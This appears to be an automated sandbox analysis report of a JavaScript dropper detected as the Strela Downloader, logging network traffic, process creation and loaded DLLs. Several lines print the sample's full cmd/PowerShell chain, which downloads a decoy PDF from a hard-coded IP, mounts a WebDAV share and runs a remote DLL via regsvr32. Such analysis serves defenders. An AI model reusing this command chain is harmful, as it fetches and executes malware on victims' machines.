HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1746232944.000001EC37E8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1748397973.000001EC39C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1806301721.000002440FFC3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806301721.000002440FFDE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1806301721.000002440FF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1806301721.000002440FFC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%
Source: net.exe, 00000006.00000002.1806301721.000002440FF90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/g
Source: svchost.exe, 00000008.00000002.3041390944.000002C8C5600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5478000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5478000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5478000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C54AD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5522000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5522000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1809487546.000002C8C5522000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6268, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 705722057165658523.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2816:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14xhw5oo.lml.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\705722057165658523.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1660,i,16679383751388138378,981715087898099143,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1660,i,16679383751388138378,981715087898099143,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
